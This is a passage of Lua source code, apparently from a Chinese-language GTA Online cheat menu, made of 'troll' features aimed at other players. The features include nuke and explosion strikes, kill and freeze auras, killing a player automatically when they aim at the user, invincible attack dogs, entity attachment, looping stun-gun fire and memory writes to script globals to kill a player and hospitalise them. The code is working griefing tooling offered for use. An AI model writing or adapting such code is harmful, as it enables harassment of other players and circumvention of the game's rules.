    ENTITY.APPLY_FORCE_TO_ENTITY(nuke, 3, 0.0, 0.0, -50, 0.0, 0.0, 0.0, 0, true, false, true, false, true)
    ENTITY.SET_ENTITY_HAS_GRAVITY(nuke, true)

    while not ENTITY.HAS_ENTITY_COLLIDED_WITH_ANYTHING(nuke) and not ENTITY.IS_ENTITY_IN_WATER(nuke) do
        util.yield(0)
    end
    local nukePos = ENTITY.GET_ENTITY_COORDS(nuke, true)
    entities.delete_by_handle(nuke)
    ent_func.create_nuke_explosion(nukePos)
end)

GTAC(dropnuke, ("直接在玩家身上爆炸"), {}, "", function()
    local pos = players.get_position(pid)
    ent_func.create_nuke_explosion(pos)
end)

GTAC(dropnuke, "粒子碎片核弹", {""}, "", function(on_click)
    local TargetPlayerPed = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
    local TargetPlayerPos = ENTITY.GET_ENTITY_COORDS(TargetPlayerPed, true)
    local Object_pizza1 = CreateVehicle(1131912276,TargetPlayerPos,0)
    local Object_pizza2 =CreateObject(253279588,TargetPlayerPos)
        TargetPlayerPos.y = TargetPlayerPos.y + 2
        TargetPlayerPos.z = TargetPlayerPos.z + 70 
        ENTITY.SET_ENTITY_ALPHA(Object_pizza1, 255)
        ENTITY.SET_ENTITY_VISIBLE(Object_pizza1, false, 0)
        ENTITY.SET_ENTITY_COORDS_NO_OFFSET(Object_pizza1, TargetPlayerPos.x, TargetPlayerPos.y, TargetPlayerPos.z, false, true, true)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(Object_pizza2,Object_pizza1, 0,  0.0, 0.00, 0.00, 1.0, 1.0,1, true, false, true, false, 0, true)
    wait(5000)
    do
    orbital(pid)
    entities.delete_by_handle(Object_pizza1)
    entities.delete_by_handle(Object_pizza2)
  end
end)

safeguards_transporter = GTTG(dropnuke,("护送核弹车"), {""}, ("生成一个装有核弹的卡车\n卡车爆炸后核弹也会爆炸\n这样任何人都可以引爆它"), function(on)
    if on then
        if not ENTITY.DOES_ENTITY_EXIST(nuke) then
            local pos = players.get_position(pid)
            local hash = util.joaat("tiptruck")
            ent_func.request_model(hash)
            truck = VEHICLE.CREATE_VEHICLE(hash, pos.x , pos.y + 5, pos.z, 0, true, false, true)
            local hash = util.joaat("prop_military_pickup_01")
            ent_func.request_model(hash)
            local truck_pos = ENTITY.GET_ENTITY_COORDS(truck, true)
            local truck_rot = ENTITY.GET_ENTITY_ROTATION(truck, 0)
            nuke = OBJECT.CREATE_OBJECT_NO_OFFSET(hash, truck_pos.x, truck_pos.y-1.5, truck_pos.z + 2, true, false, true)
            ENTITY.SET_ENTITY_HAS_GRAVITY(nuke, true)
            ENTITY.SET_ENTITY_ROTATION(nuke, truck_rot.x, truck_rot.y, truck_rot.z+90, 0, true)
            ENTITY.ATTACH_ENTITY_TO_ENTITY(nuke, truck, 0, 0.0, -1.5, 1.7, 0.0, 0.0, 90.0, false, false, false, false, 2, true)
        end

        util.create_tick_handler(function()
            if VEHICLE.GET_VEHICLE_ENGINE_HEALTH(truck) <= 0 and ENTITY.DOES_ENTITY_EXIST(nuke) then
                local nukePos = ENTITY.GET_ENTITY_COORDS(nuke, true)
                entities.delete_by_handle(nuke)
                ent_func.create_nuke_explosion(nukePos)
                menu.set_value(safeguards_transporter, false)
            end
        end)
    end
    if not on then
        if ENTITY.DOES_ENTITY_EXIST(nuke) then
            entities.delete_by_handle(nuke)
        end
        if ENTITY.DOES_ENTITY_EXIST(truck) then
            entities.delete_by_handle(truck)
        end
    end
end)

aura_list_player = GT(updatetroll,("杀戮光环(玩家)"), {""}, "在设定范围内产生效果")

player_aura_radius = 20
GTluaScript.slider(aura_list_player,("光环范围"), {"killaura"}, "", 5, 100, 20, 1, function(count)
    player_aura_radius = count
end)

GTLP(aura_list_player,("爆炸光环"), {}, "", function()
    local vehicles = entities.get_all_vehicles_as_pointers()
    local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
    local player_vehicle = ent_func.get_vehicle_from_ped(player_ped)
    for vehicles as vehicle do
        local vehicle_handle = entities.pointer_to_handle(vehicle)
        if vehicle_handle != player_vehicle then
            local vehicle_pos = ENTITY.GET_ENTITY_COORDS(vehicle_handle)
            if ent_func.get_distance_between(player_ped, vehicle_pos) <= player_aura_radius then
                if VEHICLE.GET_VEHICLE_ENGINE_HEALTH(vehicle_handle) >= 0 then
                    FIRE.ADD_EXPLOSION(vehicle_pos.x, vehicle_pos.y, vehicle_pos.z, 1, 1, false, true, 0.0, false)
                end
            end
        end
    end
    local peds = entities.get_all_peds_as_pointers()
	for peds as ped do
        local ped_handle = entities.pointer_to_handle(ped)
        if ped_handle != player_ped then
            local ped_pos = ENTITY.GET_ENTITY_COORDS(ped_handle, false)
		    if ent_func.get_distance_between(player_ped, ped_pos) <= player_aura_radius then
                if not PED.IS_PED_DEAD_OR_DYING(ped_handle, true) then
		    	    FIRE.ADD_EXPLOSION(ped_pos.x, ped_pos.y, ped_pos.z, 1, 1, false, true, 0.0, false)
                end
		    end
        end
	end
end)

GTLP(aura_list_player,("排斥光环"), {}, "", function()
    local vehicles = entities.get_all_vehicles_as_pointers()
    local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
    local player_vehicle = ent_func.get_vehicle_from_ped(player_ped)
    for vehicles as vehicle do
        local vehicle_handle = entities.pointer_to_handle(vehicle)
        if vehicle_handle != player_vehicle then
            local vehicle_pos = ENTITY.GET_ENTITY_COORDS(vehicle_handle)
            if ent_func.get_distance_between(player_ped, vehicle_pos) <= player_aura_radius then
                local rel = v3.new(vehicle_pos)
                --subtract your pos from rel--
                rel:sub(players.get_position(pid))
                --scales the v3 to have a length of 1--
                rel:normalise()
                if ent_func.get_entity_control_onces(vehicle_handle) then
                    ENTITY.APPLY_FORCE_TO_ENTITY(vehicle_handle, 3, rel.x, rel.y, rel.z, 0.0, 0.0, 1.0, 0, false, false, true, false, false)
                end
            end
        end
    end
    local peds = entities.get_all_peds_as_pointers()
	for peds as ped do
        local ped_handle = entities.pointer_to_handle(ped)
        if ped_handle != player_ped then
            local ped_pos = ENTITY.GET_ENTITY_COORDS(ped_handle, false)
		    if ent_func.get_distance_between(player_ped, ped_pos) <= player_aura_radius then
                local rel = v3.new(ped_pos)
                --subtract your pos from rel--
                rel:sub(players.get_position(pid))
                --scales the v3 to have a length of 1--
                rel:normalise()
                if ent_func.get_entity_control_onces(ped_handle) then
                    PED.SET_PED_TO_RAGDOLL(ped_handle, 2500, 0, 0, false, false, false)
		    	    ENTITY.APPLY_FORCE_TO_ENTITY(ped_handle, 3, rel.x, rel.y, rel.z, 0.0, 0.0, 1.0, 0, false, false, true, false, false)
                end
		    end
        end
	end
end)

GTLP(aura_list_player,("吸附光环"), {}, "", function()
    local vehicles = entities.get_all_vehicles_as_pointers()
    local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
    local player_vehicle = ent_func.get_vehicle_from_ped(player_ped)
    for vehicles as vehicle do
        local vehicle_handle = entities.pointer_to_handle(vehicle)
        if vehicle_handle != player_vehicle then
            local vehicle_pos = ENTITY.GET_ENTITY_COORDS(vehicle_handle)
            if ent_func.get_distance_between(player_ped, vehicle_pos) <= player_aura_radius then
                local rel = v3.new(vehicle_pos)
                --subtract your pos from rel--
                rel:sub(players.get_position(pid))
                --scales the v3 to have a length of 1--
                rel:normalise()
                if ent_func.get_entity_control_onces(vehicle_handle) then
                    ENTITY.APPLY_FORCE_TO_ENTITY(vehicle_handle, 3, -rel.x, -rel.y, -rel.z, 0.0, 0.0, 1.0, 0, false, false, true, false, false)
                end
            end
        end
    end
    local peds = entities.get_all_peds_as_pointers()
	for peds as ped do
        local ped_handle = entities.pointer_to_handle(ped)
        if ped_handle != player_ped then
            local ped_pos = ENTITY.GET_ENTITY_COORDS(ped_handle, false)
		    if ent_func.get_distance_between(player_ped, ped_pos) <= player_aura_radius then
                local rel = v3.new(ped_pos)
                --subtract your pos from rel--
                rel:sub(players.get_position(pid))
                --scales the v3 to have a length of 1--
                rel:normalise()
                if ent_func.get_entity_control_onces(ped_handle) then
                    PED.SET_PED_TO_RAGDOLL(ped_handle, 2500, 0, 0, false, false, false)
		    	    ENTITY.APPLY_FORCE_TO_ENTITY(ped_handle, 3, -rel.x, -rel.y, -rel.z, 0.0, 0.0, 1.0, 0, false, false, true, false, false)
                end
		    end
        end
	end
end)

GTLP(aura_list_player,("冻结光环"), {}, "", function()
    local vehicles = entities.get_all_vehicles_as_pointers()
    local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
    local player_vehicle = ent_func.get_vehicle_from_ped(player_ped)
    for vehicles as vehicle do
        local vehicle_handle = entities.pointer_to_handle(vehicle)
        if vehicle_handle != player_vehicle then
            local vehicle_pos = ENTITY.GET_ENTITY_COORDS(vehicle_handle)
            if ent_func.get_distance_between(player_ped, vehicle_pos) <= player_aura_radius then
                if ent_func.get_entity_control_onces(vehicle_handle) then
                    ENTITY.FREEZE_ENTITY_POSITION(vehicle_handle, true)
                end
            else
                ENTITY.FREEZE_ENTITY_POSITION(vehicle_handle, false)
            end
        end
    end
    local peds = entities.get_all_peds_as_pointers()
	for peds as ped do
        local ped_handle = entities.pointer_to_handle(ped)
        if ped_handle != player_ped then
            local ped_pos = ENTITY.GET_ENTITY_COORDS(ped_handle, false)
		    if ent_func.get_distance_between(player_ped, ped_pos) <= player_aura_radius then
                if not PED.IS_PED_IN_ANY_VEHICLE(ped_handle, false) then
                    TASK.CLEAR_PED_TASKS_IMMEDIATELY(ped_handle)
                end
                if ent_func.get_entity_control_onces(ped_handle) then
                    ENTITY.FREEZE_ENTITY_POSITION(ped_handle, true)
                end
            else
                ENTITY.FREEZE_ENTITY_POSITION(ped_handle, false)
            end
        end
	end
end)

GTLP(aura_list_player,("弹射光环"), {}, "", function()
    local vehicles = entities.get_all_vehicles_as_pointers()
    local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
    local player_vehicle = ent_func.get_vehicle_from_ped(player_ped)
    for vehicles as vehicle do
        local vehicle_handle = entities.pointer_to_handle(vehicle)
        if vehicle_handle != player_vehicle then
            local vehicle_pos = ENTITY.GET_ENTITY_COORDS(vehicle_handle)
            if ent_func.get_distance_between(player_ped, vehicle_pos) <= player_aura_radius then
                local rel = v3.new(vehicle_pos)
                --subtract your pos from rel--
                rel:sub(players.get_position(players.user()))
                --turn rel into a rot--
                local rot = rel:toRot()
                if ent_func.get_entity_control_onces(vehicle_handle) then
                    ENTITY.SET_ENTITY_ROTATION(vehicle_handle, rot.x, rot.y, rot.z, 2, false)
                    VEHICLE.SET_VEHICLE_FORWARD_SPEED(vehicle_handle, 100)
                end
            end
        end
    end
    local peds = entities.get_all_peds_as_pointers()
	for peds as ped do
        local ped_handle = entities.pointer_to_handle(ped)
        if ped_handle != player_ped then
            local ped_pos = ENTITY.GET_ENTITY_COORDS(ped_handle, false)
		    if ent_func.get_distance_between(player_ped, ped_pos) <= player_aura_radius then
                local rel = v3.new(ped_pos)
                --subtract your pos from rel--
                rel:sub(players.get_position(players.user()))
                --multiply rel with 100--
                rel:mul(100)
                if ent_func.get_entity_control_onces(ped_handle) then
                    PED.SET_PED_TO_RAGDOLL(ped_handle, 2500, 0, 0, false, false, false)
		    	    ENTITY.APPLY_FORCE_TO_ENTITY(ped_handle, 3, rel.x, rel.y, rel.z, 0, 0, 1.0, 0, false, false, true, false, false)
                end
            end
        end
	end
end)

aim_reactions_list = GT(updatetroll, "定向瞄准反应")
GTLP(aim_reactions_list, "被瞄准时撞击玩家", {}, "", function ()
    local c1 = players.get_position(pid)
    local c2 =  players.get_position(players.user())
    local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
    if PED.IS_PED_FACING_PED(ped, players.user_ped(), 2) and ENTITY.HAS_ENTITY_CLEAR_LOS_TO_ENTITY(ped, players.user_ped(), 17) and MISC.GET_DISTANCE_BETWEEN_COORDS(c1.x, c1.y, c1.z, c2.x, c2.y, c2.z) < 1000  and WEAPON.GET_SELECTED_PED_WEAPON(ped) != -1569615261  and PED.GET_PED_CONFIG_FLAG(ped, 78, true) then 
        util.toast(players.get_name(pid) .. " 正在瞄准你")
        local player_pos = players.get_position(pid)
        local closest_vehicle = ent_func.getClosestVehicle(player_pos)
        local vehicle_pos = ENTITY.GET_ENTITY_COORDS(closest_vehicle)
        local pos2 = players.get_position(pid)
        local rel = v3.new(pos2)
        rel:sub(vehicle_pos)
        local rot = rel:toRot()
        if ent_func.get_entity_control_onces(closest_vehicle) then
            ENTITY.SET_ENTITY_ROTATION(closest_vehicle, rot.x, rot.y, rot.z, 2, false)
            VEHICLE.SET_VEHICLE_FORWARD_SPEED(closest_vehicle, 100)
        end
    end
end)

GTLP(aim_reactions_list, "被瞄准时爆炸玩家", {}, "", function ()
    local c1 = players.get_position(pid)
    local c2 =  players.get_position(players.user())
    local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
    if PED.IS_PED_FACING_PED(ped, players.user_ped(), 2) and ENTITY.HAS_ENTITY_CLEAR_LOS_TO_ENTITY(ped, players.user_ped(), 17) and MISC.GET_DISTANCE_BETWEEN_COORDS(c1.x, c1.y, c1.z, c2.x, c2.y, c2.z) < 1000  and WEAPON.GET_SELECTED_PED_WEAPON(ped) != -1569615261  and PED.GET_PED_CONFIG_FLAG(ped, 78, true) then 
        util.toast(players.get_name(pid) .. " 正在瞄准你")
        local player_pos = players.get_position(pid)
        FIRE.ADD_EXPLOSION(player_pos.x, player_pos.y, player_pos.z, 1, 1, false, true, 0.0, false)
    end
end)

GTLP(aim_reactions_list, "被瞄准时击杀玩家", {}, "", function ()
    local c1 = players.get_position(pid)
    local c2 =  players.get_position(players.user())
    local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
    if PED.IS_PED_FACING_PED(ped, players.user_ped(), 2) and ENTITY.HAS_ENTITY_CLEAR_LOS_TO_ENTITY(ped, players.user_ped(), 17) and MISC.GET_DISTANCE_BETWEEN_COORDS(c1.x, c1.y, c1.z, c2.x, c2.y, c2.z) < 1000  and WEAPON.GET_SELECTED_PED_WEAPON(ped) != -1569615261  and PED.GET_PED_CONFIG_FLAG(ped, 78, true) then 
        util.toast(players.get_name(pid) .. " 正在瞄准你")
        local player_pos = players.get_position(pid)
        menu.trigger_commands("kill" .. players.get_name(pid))
    end
end)

GTLP(aim_reactions_list, "被瞄准时冻结玩家", {}, "", function ()
    local c1 = players.get_position(pid)
    local c2 =  players.get_position(players.user())
    local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
    if PED.IS_PED_FACING_PED(ped, players.user_ped(), 2) and ENTITY.HAS_ENTITY_CLEAR_LOS_TO_ENTITY(ped, players.user_ped(), 17) and MISC.GET_DISTANCE_BETWEEN_COORDS(c1.x, c1.y, c1.z, c2.x, c2.y, c2.z) < 1000  and WEAPON.GET_SELECTED_PED_WEAPON(ped) != -1569615261  and PED.GET_PED_CONFIG_FLAG(ped, 78, true) then 
        util.toast(players.get_name(pid) .. " 正在瞄准你")
        local player_pos = players.get_position(pid)
        menu.trigger_commands("freeze" .. players.get_name(pid) .. " on") 
    else
        menu.trigger_commands("freeze" .. players.get_name(pid) .. " off")
    end
end)

GTLP(aim_reactions_list, "被瞄准时摔倒玩家", {}, "", function ()
    local c1 = players.get_position(pid)
    local c2 =  players.get_position(players.user())
    local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
    if PED.IS_PED_FACING_PED(ped, players.user_ped(), 2) and ENTITY.HAS_ENTITY_CLEAR_LOS_TO_ENTITY(ped, players.user_ped(), 17) and MISC.GET_DISTANCE_BETWEEN_COORDS(c1.x, c1.y, c1.z, c2.x, c2.y, c2.z) < 1000  and WEAPON.GET_SELECTED_PED_WEAPON(ped) != -1569615261  and PED.GET_PED_CONFIG_FLAG(ped, 78, true) then 
        util.toast(players.get_name(pid) .. " 正在瞄准你")
        local player_pos = players.get_position(pid)
        menu.trigger_commands("ragdoll" .. players.get_name(pid) .. " on")
    else
        menu.trigger_commands("ragdoll" .. players.get_name(pid) .. " off")
    end
end)

    GTAC(updatetroll, "让TA的载具大卸八块", {}, "做一个坏蛋~", function ()
        control_vehicle(pid, true, function(vehicle)
            local doors = VEHICLE.GET_NUMBER_OF_VEHICLE_DOORS(vehicle)
            VEHICLE.POP_OUT_VEHICLE_WINDSCREEN(vehicle)
            for i= 0, doors do
                VEHICLE.SET_VEHICLE_DOOR_BROKEN(vehicle, i, false)
            end
            menu.trigger_commands("detachwheel" ..  players.get_name(pid))
        end)
    end)

    GTTG(updatetroll, "报警抓住他", {}, "", function (on)
    if on then
        local target_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local player_pos = players.get_position(pid)
        local police_ped_hash = util.joaat("s_m_y_cop_01")
        local police_car_hash = util.joaat("police3")
    
        ent_func.request_model(police_ped_hash)
        ent_func.request_model(police_car_hash)
        
        police_car = entities.create_vehicle(police_car_hash, v3.new(player_pos.x+math.random(-10, 10), player_pos.y+math.random(-10, 10), player_pos.z), 0)
        local police_car_coords = ENTITY.GET_ENTITY_COORDS(police_car, true)
        local rel = v3.new(player_pos)
        rel:sub(police_car_coords)
        local rot = rel:toRot()
        ENTITY.SET_ENTITY_ROTATION(police_car, rot.x, rot.y, rot.z, 2, false)
        police_ped = entities.create_ped(1, police_ped_hash, police_car_coords, 0)
        PED.SET_PED_INTO_VEHICLE(police_ped, police_car, -1)
    
        VEHICLE.SET_VEHICLE_SIREN(police_car, true)
        VEHICLE.SET_VEHICLE_DOORS_LOCKED_FOR_ALL_PLAYERS(police_car, true)
        VEHICLE.MODIFY_VEHICLE_TOP_SPEED(police_car, 20000)
        ENTITY.SET_ENTITY_LOAD_COLLISION_FLAG(police_car, true, true)
        ENTITY.SET_ENTITY_AS_MISSION_ENTITY(police_car, true, true)
        ENTITY.SET_ENTITY_LOAD_COLLISION_FLAG(police_ped, true, true)
        ENTITY.SET_ENTITY_AS_MISSION_ENTITY(police_ped, true, true)
        TASK.TASK_VEHICLE_MISSION_PED_TARGET(police_ped, police_car, target_ped, 6, 100.0, 0, 0.0, 0.0, true)

        while on do
            if ent_func.get_distance_between(police_car, player_pos) >= 50 then
                player_pos = players.get_position(pid)
                ENTITY.SET_ENTITY_COORDS(police_car, player_pos.x+math.random(-10, 10), player_pos.y+math.random(-10, 10), player_pos.z, false, false, false, false)
                police_car_coords = ENTITY.GET_ENTITY_COORDS(police_car, true)
                local rel = v3.new(player_pos)
                rel:sub(police_car_coords)
                local rot = rel:toRot()
                ENTITY.SET_ENTITY_ROTATION(police_car, rot.x, rot.y, rot.z, 2, false)
            end
            util.yield(500)
        end
    end
    if not on then
        entities.delete_by_handle(police_car)
        entities.delete_by_handle(police_ped)
    end
end)

    GTAC(updatetroll, "单纯的杀死玩家", {}, "", function ()
        kill_player(pid)
    end)

    GTAC(updatetroll, "截取货物", {}, "顾名思义,坏蛋功能\n让该玩家拉货时启用截货机制\n并且将在五秒后杀死该玩家:)", function ()
    takerestore(pid)
    end)

    GTAC(updatetroll, "送他回家并在家中暴毙", {}, "", function ()
        takehome(pid)
    end)

    GTAC(updatetroll, "鲨鱼袭击", {''}, "鲨鱼!!!\n生成鲨鱼吃掉该玩家", function()
        local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(pid))
        local pedp = players.user_ped(pid)
        local NPC = Cped(26, 113504370, pos, 0)
        ENTITY.FREEZE_ENTITY_POSITION(NPC, true)
        ENTITY.SET_ENTITY_ROTATION(NPC, 90, 0, 0, true)
        menu.trigger_commands("kill" .. players.get_name(pid))
        FIRE.ADD_EXPLOSION(pos.x, pos.y, pos.z, 4, 0, false, false, 1.0, pedp)
        FIRE.ADD_EXPLOSION(pos.x, pos.y, pos.z, 13, 0, true, false, 0, pedp)
    end)

    local hospitalize_count = 0
    GTAC(updatetroll, "杀死他并送到医院", {""}, "", function()
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        setBit(memory.script_global(2657589 + 1 + (players.user() * 466) + 427), 0)
        repeat 
            wait()
        until memory.read_int(memory.script_global(2657589 + 1 + (players.user() * 466) + 427), 0)
        menu.trigger_commands("kill" .. players.get_name(pid))
        if not PED.IS_PED_DEAD_OR_DYING(ped) then
            repeat
                hospitalize_count += 1
                if hospitalize_count >= 300 then
                    util.toast("未能将该玩家送到医院")
                    clearBit(memory.script_global(2657589 + 1 + (players.user() * 466) + 427), 0)
                    hospitalize_count = 0
                    return
                end
                wait()
            until PED.IS_PED_DEAD_OR_DYING(ped)
        end
        if PED.IS_PED_DEAD_OR_DYING(ped) then
            repeat
                wait()
            until not PED.IS_PED_DEAD_OR_DYING(ped)
            clearBit(memory.script_global(2657589 + 1 + (players.user() * 466) + 427), 0)
            hospitalize_count = 0
        end
    end)

    local glitchforcefield
    glitchforcefield = GTLP(updatetroll, "让TA变成孤儿", {""}, "移除他周围所有东西\n如果该玩家在载具内\n那就变成了抽搐恶搞", function()
        local glitch_hash = util.joaat("p_spinning_anus_s")
        RequestModel(glitch_hash)
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local pos = players.get_position(pid)
        if not ENTITY.DOES_ENTITY_EXIST(ped) then
        util.toast(players.get_name(pid) .. " 距离太远")
        glitchforcefield.value = false
        util.stop_thread() end
        --[[if PED.IS_PED_IN_ANY_VEHICLE(ped, false) then
        util.toast(players.get_name(pid) .. " 在载具内")
        glitchforcefield.value = false
        util.stop_thread() end]]
        local obj = entities.create_object(glitch_hash, pos)
        ENTITY.SET_ENTITY_VISIBLE(obj, false)
        ENTITY.SET_ENTITY_COLLISION(obj, true, true)
        wait()
        entities.delete_by_handle(obj) 
    end)

    local req_count = 0
    GTLP(updatetroll, "TA的车变成飘柔", {""}, "360旋转该玩家的载具", function()
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local spv = WIRI_PED.GET_VEHICLE_PED_IS_USING(ped)
        local height = ENTITY.GET_ENTITY_HEIGHT_ABOVE_GROUND(spv)
        if not PED.IS_PED_IN_ANY_VEHICLE(ped, false) then
            util.toast("不在车里")
        return end
        if not NETWORK.NETWORK_HAS_CONTROL_OF_ENTITY(spv) then
            repeat
                if req_count >= 250 then
                    util.toast("距离太远了")
                return end
                NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(spv)
                util.yield()
                req_count += 1
            until NETWORK.NETWORK_HAS_CONTROL_OF_ENTITY(spv)
        end
        if height < 5.0 and height > 0.1 then
            VEHICLE.SET_VEHICLE_ON_GROUND_PROPERLY(spv, 2)
        end
        if spv ~= 0 and not WIRI_PED.IS_PED_DEAD_OR_DYING(ped) then
            ENTITY.APPLY_FORCE_TO_ENTITY(spv, 5, 0.0, 0.0, 150.0, 0, 0, 0, 0, true, false, true, false, true)
        end
    end)

    GTAC(updatetroll, "送他去看云", {""}, "", function()
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local mdl = util.joaat("boxville3")
        local pos = players.get_position(pid)
        RequestModel(mdl)
                    
        if PED.IS_PED_IN_ANY_VEHICLE(ped, false) then
            util.toast(players.get_name(pid) .. " 在载具内")
        return end
        
        if TASK.IS_PED_WALKING(ped) then
            boxville = entities.create_vehicle(mdl, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(ped, 0.0, 2.0, 0.0), ENTITY.GET_ENTITY_HEADING(ped))
            ENTITY.SET_ENTITY_VISIBLE(boxville, false)
            util.yield(250)
            repeat
                if v3.distance(players.get_position(pid), ENTITY.GET_ENTITY_COORDS(boxville)) < 10.0 then
                    if boxville ~= 0 and ENTITY.DOES_ENTITY_EXIST(boxville)then
                        ENTITY.APPLY_FORCE_TO_ENTITY(boxville, 1, 0.0, 0.0, 25.0, 0.0, 0.0, 0.0, 0, 1, 1, 1, 0, 1)
                    end
                    util.yield()
                else
                    entities.delete_by_handle(boxville)
                end
                util.yield()
                pos = players.get_position(pid)
            until pos.z > 2600.0
            util.yield(100)
            if boxville ~= 0 and ENTITY.DOES_ENTITY_EXIST(boxville) then 
                entities.delete_by_handle(boxville)
            end
        else
            util.toast(players.get_name(pid) .. "未在陆地行走")
        end
    end)

    get_control_of_entity = function(h, t)
    if not h then
        return
    end
    if not NETWORK.NETWORK_HAS_CONTROL_OF_ENTITY(h) then
        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(h)
        local time = util.current_time_millis() + t
        while ENTITY.IS_AN_ENTITY(h) and not NETWORK.NETWORK_HAS_CONTROL_OF_ENTITY(h) and time > util.current_time_millis() do
        wait(5)
        end
    end
    return NETWORK.NETWORK_HAS_CONTROL_OF_ENTITY(h)
    end
    GTAC(updatetroll, "巴士轰炸", {''}, "", function()
        for i = 0, 30 do
            spawn_vehicle(3581397346, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(pid)), 0)
        end
        wait(10)
        allvehs = entities.get_all_vehicles_as_handles()
        for i = 1, #allvehs do
            ppos = ENTITY.GET_ENTITY_COORDS(players.user_ped(pid))
            get_control_of_entity(allvehs[i], 300)
            ENTITY.SET_ENTITY_COORDS_NO_OFFSET(allvehs[i], ppos.x, ppos.y, ppos.z, true, true, true)
        end
        wait(500)
    end)
      
    GTAC(updatetroll, "放狗咬他", {''}, "", function(a)
        request_model(1318032802)
        local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(pid))
        pos.y = pos.y + 2
        pc2ped = entities.create_ped(28, 1318032802, pos, 0, true, false)
        PED.SET_CAN_ATTACK_FRIENDLY(pc2ped, true)
        PED.SET_PED_COMBAT_ATTRIBUTES(pc2ped, 46, true)
        PED.SET_PED_COMBAT_ATTRIBUTES(pc2ped, 52, true)
        PED.SET_PED_COMBAT_ATTRIBUTES(pc2ped, 1, true)
        PED.SET_PED_COMBAT_ATTRIBUTES(pc2ped, 2, true)
        ENTITY.SET_ENTITY_INVINCIBLE(pc2ped, true)
        PED.SET_PED_COMBAT_RANGE(pc2ped, 1000)
        local wjped = players.user_ped(pid)
        TASK.TASK_COMBAT_PED(pc2ped, wjped, 0, 16)
    end)

    GTAC(updatetroll, "关门放狗", {''}, "", function(a)
        request_model(779277682)
        local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(pid))
        pos.z = pos.z + 0.95
        local pos1 = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(pid))
        pos1.z = pos1.z - 0.9
        local cage = util.joaat("prop_feeder1_cr")
        STREAMING.REQUEST_MODEL(cage)
        OBJECT.CREATE_OBJECT_NO_OFFSET(cage, pos.x, pos.y, pos.z, true, true, true)
        OBJECT.CREATE_OBJECT_NO_OFFSET(cage, pos1.x, pos1.y, pos1.z, true, true, true)
        local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(pid))
        pos.z = pos.z + 2
        pcped = entities.create_ped(28, 1318032802, pos, 0, true, false)
        PED.SET_CAN_ATTACK_FRIENDLY(pcped, true)
        PED.SET_PED_COMBAT_ATTRIBUTES(pcped, 46, true)
        PED.SET_PED_COMBAT_ATTRIBUTES(pcped, 52, true)
        PED.SET_PED_COMBAT_ATTRIBUTES(pcped, 1, true)
        PED.SET_PED_COMBAT_ATTRIBUTES(pcped, 2, true)
        ENTITY.SET_ENTITY_INVINCIBLE(pcped, true)
        PED.SET_PED_COMBAT_RANGE(pcped, 1000)
        local wjped = players.user_ped(pid)
        TASK.TASK_COMBAT_PED(pcped, wjped, 0, 16)
    end)

    GTAC(updatetroll, "错误附加", {''}, "", function()
        local pedp = players.user_ped(pid)
        local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(pid))
        local towtruck = spawn_vehicle(-1323100960, pos, 0)
        local skylift = spawn_vehicle(-692292317, pos, 0)
        local cargobob = spawn_vehicle(-569844052, pos, 0)
        local cargobob2 = spawn_vehicle(-569844052, pos, 0)
        local cargobob1 = spawn_vehicle(-569844052, pos, 0)
        local handler = spawn_vehicle(444583674, pos, 0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(cargobob, skylift, 0, 0, 0, 0.2, 0, 0, 0, false, true, false, false, 0, true)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(cargobob1, skylift, 0, 0, 0, -0.2, 0, 0, 0, false, true, false, false, 0, true)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(handler, skylift, 0, 0, 0, 0, 0, 0, 0, false, true, false, false, 0, true)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(towtruck, skylift, 0, 0, 0, 0, 0, 0, 0, false, true, false, false, 0, true)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(cargobob2, towtruck, 0, 0, 0, 0, 0, 0, 0, false, true, false, false, 0, true)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(skylift, pedp, 0, 0, 1.6, 0, 0, 0, 0, false, true, false, false, 0, true)
    end)
    
    GTAC(updatetroll, "让他致幻", {''}, "", function(a)
        boomfly(a)
    end)
    
    GTTG(updatetroll, "电击玩家", {"pid"}, "", function(f)
    dashabi = f
        while dashabi do
            local hash = util.joaat("weapon_stungun")--and hash = 911657153
            pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(pid))
            local offset = v3.new()
            offset.x = 0
            offset.y = 0
            offset.z = 0
            MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(pos.x, pos.y, pos.z + 2,pos.x, pos.y, pos.z, 0, true , hash, players.user_ped(), false, true, 10000)
            wait(50)
        end
        dashabi = false
    end)

    GTAC(updatetroll, "附加大楼", {""}, "", function(f)
        local f = {}
